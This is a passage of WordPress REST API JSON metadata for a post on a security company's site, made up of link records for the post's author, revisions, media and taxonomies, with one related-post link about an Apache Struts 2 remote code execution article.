Execution","link":"https:\/\/www.varutra.com\/varutravrt3\/apache-struts-2-exploited-to-remote-code-execution\/"}],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/posts\/5270"}],"collection":[{"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/comments?post=5270"}],"version-history":[{"count":5,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/posts\/5270\/revisions"}],"predecessor-version":[{"id":20332,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/posts\/5270\/revisions\/20332"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/media\/18158"}],"wp:attachment":[{"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/media?parent=5270"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/categories?post=5270"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.varutra.com\/varutravrt3\/wp-json\/wp\/v2\/tags?post=5270"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}